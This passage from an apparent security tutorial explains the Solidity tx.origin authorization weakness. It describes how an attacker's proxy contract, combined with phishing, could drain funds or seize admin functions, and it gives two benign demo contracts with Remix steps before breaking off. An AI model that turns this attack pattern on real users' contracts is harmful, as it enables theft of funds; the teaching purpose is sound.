<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l11 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->A user on the left<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l11 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->An attacker’s contract in the middle<o:p></o:p></p>
<p class="MsoNormal" style="margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; margin: 0in 0in 0in 0.5in; mso-add-space: auto; mso-list: l11 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->A target contract on the right<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBYUtpFxQS02MObl9y81qsOHHDbkDuY4tt8ypvCVh9JcEjNf1qQopDhbIuyokY3QOKxco-nJY1PhJlAOjZ6bh-yCGIOVpKxSqOno5hqkLw_xsLgYz5RaqFqVcQlvj-uk0So9gYuJB9li6x/s456/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="452" data-original-width="456" height="634" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBYUtpFxQS02MObl9y81qsOHHDbkDuY4tt8ypvCVh9JcEjNf1qQopDhbIuyokY3QOKxco-nJY1PhJlAOjZ6bh-yCGIOVpKxSqOno5hqkLw_xsLgYz5RaqFqVcQlvj-uk0So9gYuJB9li6x/w640-h634/1.png" width="640" /></a></div><br /> <p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><o:p> </o:p> </p>
<p class="MsoNormal">If the attacker were to call the target contract directly
his authorization would be checked based on his personal address value
regardless if the check is being performed via msg.sender or tx.orgin.<span style="mso-spacerun: yes;"> </span>However, if the attacker created his own
contract that called the target contract, the attacker could run a phishing campaign
and social engineer the user into running functionality on the attacker’s
contract. <o:p></o:p></p>
<p class="MsoNormal">For example, sending a user to a game or accepting a payment
for services and proxying the request to the target contract. If the user is
social engineered into using the attackers contract, the attackers contract
would make a transaction call to the target contract with which originates from
the user’s address via tx.origin.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">This is the exact point where things can go sideways.<span style="mso-spacerun: yes;"> </span>If the target contract processes the transaction
via msg.sender then the attackers contract would authorized as the attackers
contract address. However, if the contract checks authorization via tx.origin than
the attacker is accessing the target as the victims address and can bypass any
authorization checks and simply process functionality as the victim user, to
the attackers benefit. <o:p></o:p></p>
<p class="MsoNormal">This attack could be used to liquidate a user’s account with
a transfer function from the authorized user to the attacker’s account. Or
accessing forbidden functionality such as a Self-Destruct function linked to
administrator only validation, or perhaps updating admin functionality to
provide the attacker with full access to the contract. Much like social
engineering in a standard network penetration test, this could be a wide scale
phishing campaign to effect all standard users, or a spear phishing attack targeting
an administrative user.<o:p></o:p></p>
<p class="MsoNormal">Regardless of the motivations of the attacker, there are
many bad things that can happen. So let’s take a look at a very simple example
of tx.origin just so you see the difference between msg.sender and
tx.origin.<span style="mso-spacerun: yes;"> </span>We want to make sure you fully
understand how this functionality is actually working so you can spot it during
your testing before we exploit it. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2 style="text-align: left;">Simple tx.origin Example Walkthrough:</h2><p class="MsoNormal">Action Steps:<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Type out the following 2 contracts into Remix </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Deploy the HelloWorldTXOrigin contract first and
copy its address value</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Place the address value in the proper location
within CallHello contract and deploy it</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Review the code within CallHello and its usage
of address validation</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Review the calls into the contract from
HelloWorldTXOrigin that are effected by the address validation</p><p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Try to reason based on what you learned above
how this works and where and what the issues could be</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo8; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal" style="break-after: avoid; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 2.0pt; margin: 2pt 0in 0in; mso-outline-level: 2; mso-pagination: widow-orphan lines-together; page-break-after: avoid;"><span face=""Calibri Light",sans-serif" style="color: #2f5496; font-size: 13pt; line-height: 107%; mso-ascii-theme-font: major-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-bidi; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-fareast; mso-hansi-theme-font: major-latin; mso-themecolor: accent1; mso-themeshade: 191;"><o:p> </o:p></span></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract </span><span style="color: #89bdff;">HelloWorldTXOrigin</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> return_TX_Address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>address myaddress = tx.origin;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> myaddress; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> return_MSG_Address() </span><span style="color: #e28964;">public</span><span style="color: white;"> returns(address){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address myaddress = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> myaddress; <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l5 level1 lfo11; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"> }<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: white;"> </span></p>
<p class="MsoNormal">The code above for HelloWorldTXOrigin is extremely simple. All
the code does is set a variable on lines 6 and 11 to the address calling the
function and returns the value.<span style="mso-spacerun: yes;"> </span>On line
6 it uses the tx.origin value and on line 11 it uses the msg.sender. <o:p></o:p></p>
<p class="MsoNormal">Now take a look at the following contract which calls the
above contract to illustrate the difference between msg.sender and tx.origin
values. <span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">interface</span><span style="color: white;"> targetInterface {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> return_TX_Address() external returns(address); <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> return_MSG_Address() external returns(address);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract </span><span style="color: #89bdff;">Call_Hello</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "Times New Roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>targetInterface helloInterface = targetInterface(ADD_Address_Here);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> myTX ()<span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">public</span><span style="color: white;"> returns (address){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> helloInterface.return_TX_Address();<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> myMSG ()<span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">public</span><span style="color: white;"> returns (address){<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">return</span><span style="color: white;"> helloInterface.return_MSG_Address();<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l8 level1 lfo12; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">The Call_Hello contract above calls the HelloWorld contract via
an interface defined on line 3 and initialized to a variable named helloInterface
on line 9. <o:p></o:p></p>
<p class="MsoNormal">All this contract does is call functions from HelloWorld on
lines 12 and 16 and returns the address values of tx.sender or msg.sender.
Presumably this would be a random user that you social engineered into using
this contract. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Select the first account in the dropdown list</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Compile and deploy HelloWorldTXOrigin.sol
contract via Remix: </p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Copy the address of the HelloWorldTXOrigin.sol
contract</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
</span></span></span><!--[endif]-->Paste that address value into the target
interface address placeholder</p><p class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-bottom: 0in; mso-add-space: auto; mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "Times New Roman";">
